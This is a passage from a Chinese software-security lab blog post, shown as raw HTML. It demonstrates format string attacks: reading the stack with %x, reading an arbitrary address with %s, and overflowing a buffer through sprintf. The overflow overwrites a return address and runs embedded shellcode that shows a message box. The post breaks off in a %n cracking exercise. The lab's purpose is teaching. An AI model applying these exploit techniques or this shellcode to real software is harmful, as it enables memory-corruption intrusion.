-
Notifications
You must be signed in to change notification settings - Fork 1
/
格式化输出实验.html
674 lines (514 loc) · 50.4 KB
/
格式化输出实验.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.4.2">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">
<link rel="stylesheet" href="//cdn.jsdelivr.net/gh/fancyapps/fancybox@3/dist/jquery.fancybox.min.css">
<script id="hexo-configurations">
var NexT = window.NexT || {};
var CONFIG = {"hostname":"leeyuxun.github.io","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":true,"show_result":true,"style":"mac"},"back2top":{"enable":true,"sidebar":true,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":true,"mediumzoom":false,"lazyload":false,"pangu":true,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"./public/search.xml"};
</script>
<meta name="description" content="实验目的 通过%x来查看栈内容; 通过%s查看指定地址内容; 对sprintf函数及shellcode做解释分析; 通过格式化字符串造成的缓冲区溢出覆盖返回地址,执行shellcode。">
<meta property="og:type" content="article">
<meta property="og:title" content="格式化输出实验">
<meta property="og:url" content="https://leeyuxun.github.io/%E6%A0%BC%E5%BC%8F%E5%8C%96%E8%BE%93%E5%87%BA%E5%AE%9E%E9%AA%8C.html">
<meta property="og:site_name" content="Leeyuxun の note">
<meta property="og:description" content="实验目的 通过%x来查看栈内容; 通过%s查看指定地址内容; 对sprintf函数及shellcode做解释分析; 通过格式化字符串造成的缓冲区溢出覆盖返回地址,执行shellcode。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922495757.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922513087.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922546835.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922585516.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922594049.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922624354.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922779419.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922798995.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922828370.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922852948.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923227952.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924837549.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924854513.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924877884.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924896239.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924906833.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924919421.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565925965646.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924779062.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923636510.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923737593.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923745441.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923770857.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923807357.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923848164.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923855140.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923921328.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923927212.png">
<meta property="article:published_time" content="2019-08-16T02:18:47.000Z">
<meta property="article:modified_time" content="2023-05-07T07:37:53.552Z">
<meta property="article:author" content="李钰璕">
<meta property="article:tag" content="格式化输出">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922495757.png">
<link rel="canonical" href="https://leeyuxun.github.io/%E6%A0%BC%E5%BC%8F%E5%8C%96%E8%BE%93%E5%87%BA%E5%AE%9E%E9%AA%8C.html">
<script id="page-configurations">
// https://hexo.io/docs/variables.html
CONFIG.page = {
sidebar: "",
isHome : false,
isPost : true,
lang : 'zh-CN'
};
</script>
<title>格式化输出实验 | Leeyuxun の note</title>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-V3499K2XZY"></script>
<script>
if (CONFIG.hostname === location.hostname) {
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-V3499K2XZY');
}
</script>
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?4d72a66931dff6410b32974da2e3df61";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
<noscript>
<style>
.use-motion .brand,
.use-motion .menu-item,
.sidebar-inner,
.use-motion .post-block,
.use-motion .pagination,
.use-motion .comments,
.use-motion .post-header,
.use-motion .post-body,
.use-motion .collection-header { opacity: initial; }
.use-motion .site-title,
.use-motion .site-subtitle {
opacity: initial;
top: initial;
}
.use-motion .logo-line-before i { left: initial; }
.use-motion .logo-line-after i { right: initial; }
</style>
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage">
<div class="container use-motion">
<div class="headband"></div>
<header class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="切换导航栏">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<h1 class="site-title">Leeyuxun の note</h1>
<span class="logo-line-after"><i></i></span>
</a>
<p class="site-subtitle" itemprop="description">BUPT | SCSS</p>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger">
<i class="fa fa-search fa-fw fa-lg"></i>
</div>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="main-menu menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>
</li>
<li class="menu-item menu-item-links">
<a href="/links/" rel="section"><i class="fa fa-link fa-fw"></i>友链</a>
</li>
<li class="menu-item menu-item-search">
<a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
</a>
</li>
</ul>
</nav>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocapitalize="off"
placeholder="搜索..." spellcheck="false"
type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</div>
</header>
<main class="main">
<div class="main-inner">
<div class="content-wrap">
<div class="content post posts-expand">
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="https://leeyuxun.github.io/%E6%A0%BC%E5%BC%8F%E5%8C%96%E8%BE%93%E5%87%BA%E5%AE%9E%E9%AA%8C.html">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.png">
<meta itemprop="name" content="李钰璕">
<meta itemprop="description" content="安全学习笔记">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Leeyuxun の note">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
格式化输出实验
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2019-08-16 10:18:47" itemprop="dateCreated datePublished" datetime="2019-08-16T10:18:47+08:00">2019-08-16</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2023-05-07 15:37:53" itemprop="dateModified" datetime="2023-05-07T15:37:53+08:00">2023-05-07</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8%E5%AE%9E%E9%AA%8C/" itemprop="url" rel="index"><span itemprop="name">软件安全实验</span></a>
</span>
</span>
<span class="post-meta-item" title="阅读次数" id="busuanzi_container_page_pv" style="display: none;">
<span class="post-meta-item-icon">
<i class="fa fa-eye"></i>
</span>
<span class="post-meta-item-text">阅读次数:</span>
<span id="busuanzi_value_page_pv"></span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="实验目的"><a href="#实验目的" class="headerlink" title="实验目的"></a>实验目的</h1><ol>
<li>通过<code>%x</code>来查看栈内容;</li>
<li>通过<code>%s</code>查看指定地址内容;</li>
<li>对<code>sprintf</code>函数及<code>shellcode</code>做解释分析;</li>
<li>通过格式化字符串造成的缓冲区溢出覆盖返回地址,执行<code>shellcode</code>。<span id="more"></span></li>
</ol>
<h1 id="通过-x来查看栈内容"><a href="#通过-x来查看栈内容" class="headerlink" title="通过%x来查看栈内容"></a>通过<code>%x</code>来查看栈内容</h1><p>通过<code>%x</code>来查看栈内容,重建栈内存,获得该<code>frame</code>的返回地址</p>
<ol>
<li><p>程序代码如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 查看栈内容</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>{</span><br><span class="line"> __asm <span class="type">int</span> <span class="number">3</span></span><br><span class="line"> <span class="type">char</span> format[<span class="number">32</span>];</span><br><span class="line"> <span class="built_in">strcpy</span>(format,<span class="string">"%08x.%08x.%08x.%08x"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(format,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure></li>
<li><p>为了能触发<code>int 3</code> 断点时启动 <code>OllyDbg</code>,设置 <code>OllyDbg</code> 为实时调试器</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922495757.png" alt="1565922495757"></p>
</li>
<li><p>运行该程序,自动跳转到<code>OllyDbg</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922513087.png" alt="1565922513087"></p>
</li>
<li><p>在<code>printf</code>处,设置断点 </p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922546835.png" alt="1565922546835"></p>
</li>
<li><p>当执行到<code>printf</code>处时,查看右下角栈中信息。发现第四个<code>%x</code>没有对应参数,因此会显示本应是参数所在位置的栈内容为<code>0x00132588</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922585516.png" alt="1565922585516"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922594049.png" alt="1565922594049"></p>
</li>
<li><p>通过更多<code>%x</code>可以重建大部分栈内存。其原理如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922624354.png" alt="1565922624354"></p>
</li>
</ol>
<h1 id="通过-s查看指定地址内容"><a href="#通过-s查看指定地址内容" class="headerlink" title="通过%s查看指定地址内容"></a>通过<code>%s</code>查看指定地址内容</h1><ol>
<li><p>程序代码如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 查看指定地址的内存内容</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>{</span><br><span class="line"> __asm <span class="type">int</span> <span class="number">3</span></span><br><span class="line"> <span class="type">char</span> format[<span class="number">40</span>];</span><br><span class="line"> <span class="comment">//利用多个%x将%s对应的参数位置挪到存储地址77E61044的栈地址</span></span><br><span class="line"> <span class="built_in">strcpy</span>(format,<span class="string">"\x44\x10\xE6\x77%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%s"</span>);</span><br><span class="line"> <span class="comment">//输出地址0x77E61044的内存</span></span><br><span class="line"> <span class="built_in">printf</span>(format,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li>
<li><p>运行该程序,自动跳转到<code>OllyDbg</code>。在<code>printf</code>处设下断点</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922779419.png" alt="1565922779419"></p>
</li>
<li><p>当执行到<code>printf</code>处时,查看右下角栈中信息</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922798995.png" alt="1565922798995"></p>
</li>
<li><p>利用<code>%x</code>步进,将<code>%s</code>的参数对应到<code>0x77E61044</code>,因此可以输出<code>0x77E61044</code>开始的字符串直到遇到截断符。<code>0x0012FF58</code>为<code>format</code>起始地址,前四字节即我们想看的内存地址<code>0x77E61044</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922828370.png" alt="1565922828370"></p>
</li>
<li><p>原理如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922852948.png" alt="1565922852948"></p>
</li>
</ol>
<h1 id="对sprintf函数及shellcode做解释分析"><a href="#对sprintf函数及shellcode做解释分析" class="headerlink" title="对sprintf函数及shellcode做解释分析"></a>对<code>sprintf</code>函数及<code>shellcode</code>做解释分析</h1><ol>
<li><p>程序代码如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><windows.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">char</span> user[]=</span><br><span class="line"> <span class="string">"%497d\x39\x4a\x42\x00"</span></span><br><span class="line"> <span class="string">"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"</span></span><br><span class="line"> <span class="string">"\x33\xDB\x53\x68\xC1\xD8\x2D\x2D\x68\xC0\xEE\xD6\xCE\x8B\xC4\x53"</span></span><br><span class="line"> <span class="string">"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"</span></span><br><span class="line"> <span class="string">"\xB8\xBB\xB0\xE7\x77\xFF\xD0\x90\x90\x90\x90"</span>;</span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">mem</span><span class="params">()</span>{</span><br><span class="line"> __asm <span class="type">int</span> <span class="number">3</span></span><br><span class="line"> <span class="type">char</span> outbuf[<span class="number">512</span>];</span><br><span class="line"> <span class="type">char</span> buffer[<span class="number">512</span>];</span><br><span class="line"> <span class="built_in">sprintf</span>(</span><br><span class="line"> buffer,</span><br><span class="line"> <span class="string">"ERR Wrong command: %.400s"</span>,</span><br><span class="line"> user</span><br><span class="line"> );</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> 执行完上一步后buffer[]="ERR Wrong command: %497d\x39\x4a\x42\x00"</span></span><br><span class="line"><span class="comment"> 00424a39为shellcode地址;此处仅仅就是一串<nop>而已</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="built_in">sprintf</span>(outbuf,buffer);<span class="comment">//sprintf(outbuf,"ERR Wrong command: %497d\x39\x4a\x42\x00");</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> LoadLibrary(<span class="string">"user32.dll"</span>);</span><br><span class="line"> mem();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li>
<li><p><code>sprintf()</code>函数分析</p>
<ul>
<li><code>buffer</code>指针指向将要写入字符串的缓冲区</li>
<li><code>format</code>格式化字符串</li>
<li><code>argument</code>为可选参数</li>
</ul>
<p>作为向字符数组中写入数据的格式化输出函数,<code>sprintf()</code>会假定存在任意长度的缓冲区。</p>
</li>
<li><p><code>shellcode</code>分析</p>
<p><code>Char user[ ]</code>字符数组为构造的<code>shellcode</code>,其中有非常规字符<code>%497d</code>,<code>\x39\x4a\x42\x00</code>是<code>shellcode</code>的起始地址,用来覆盖返回地址,后面的内容是<code>buptbupt</code>弹窗的<code>shellcode</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923227952.png" alt="1565923227952"></p>
</li>
</ol>
<h1 id="缓冲区溢出执行shellcode"><a href="#缓冲区溢出执行shellcode" class="headerlink" title="缓冲区溢出执行shellcode"></a>缓冲区溢出执行<code>shellcode</code></h1><p>通过格式化字符串造成的缓冲区溢出覆盖返回地址,执行<code>shellcode</code></p>
<ol>
<li><p>运行该程序,自动跳转到<code>OllyDbg</code></p>
</li>
<li><p>第⼀次调用<code>sprintf()</code>时写入数据的目的地址为<code>0x0012FB2C</code>,格式化字符串为<code>ERR Wrong command: %.400s</code>,其中<code>%.400s</code>对应的参数为起始地址为<code>0x00424A30</code>的字符串,即用户输入的字符数组<code>user</code>。对地址<code>0x00424A30</code>数据窗跟随后可以看见该字符数组的内容</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924837549.png" alt="1565924837549"></p>
</li>
<li><p>第一次调用<code>printf()</code>函数后可见<code>buffer</code>中的字符串为<code>ERR Wrong command:%497d\x39\x4a\x42\x00</code>,其后数据由于<code>0x00</code>被截断</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924854513.png" alt="1565924854513"></p>
</li>
<li><p>第二次调用<code>sprintf()</code>时,时<code>buffer</code>中格式化字符串为:<code>ERR Wrong command:%497d\x39\x4a\x42\x00</code>,根据格式化字符串,<code>sprintf()</code>函数会读取⼀个参数以<code>%497d</code>的格式写⼊<code>outbuf</code>,由于未提供该参数,会⾃动将栈地址<code>0x0012FAE0</code>中的值视为该参数,即<code>0x12FF80</code>, ⼗进制值<code>1245056</code>。需要写⼊<code>outbuf</code>的总字符串长度为<code>19+497 =516</code>,⽽<code>outbuf</code>长度为<code>512</code>,因此会导致栈溢出,使得函数的返回地址<code>0x004010D1</code>被<code>\x39\x4a\x42\x00</code>覆盖</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924877884.png" alt="1565924877884"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924896239.png" alt="1565924896239"></p>
<p>第二次调用<code>printf()</code>函数后,<code>outbuf</code>中的内容如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924906833.png" alt="1565924906833"></p>
<p><code>outbuf</code>起始地址为<code>0x0012FD2C</code>, <code>19</code>字节的字符串<code>ERR Wrong command: </code> 后<code>497</code>字节为整型数字<code>1245056</code>,从<code>0x0012FF30</code>开始为<code>\x39\x4a\x42\x00</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924919421.png" alt="1565924919421"></p>
</li>
<li><p>程序执行后出现<code>shellcode</code>弹窗</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565925965646.png" alt="1565925965646"></p>
</li>
<li><p>原理如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924779062.png" alt="1565924779062"></p>
</li>
</ol>
<h1 id="测试结论"><a href="#测试结论" class="headerlink" title="测试结论"></a>测试结论</h1><p> 当程序使用的格式字符串由用户或其他非信任来源提供时,有可能出现格式字符串漏洞。攻击者可利用格式化输出函数来检查内存的内容、覆写内存。对一个数据结构进行越界写时可能会导致缓冲区溢出,可以利用缓冲区溢出来执行<code>shellcode</code>。</p>
<h1 id="思考题"><a href="#思考题" class="headerlink" title="思考题"></a>思考题</h1><p>破解<code>foo.exe</code>程序,在不改变源代码的情况下,要求通过设置程序调用参数的方式调用该程序中隐藏的<code>foo</code>函数(主要利用<code>%n</code>及<code>%x</code>参数)。</p>
<ol>
<li><p>打开源程序分析源码</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><errno.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="title function_">void</span> <span class="params">(*ErrFunc)</span><span class="params">(<span 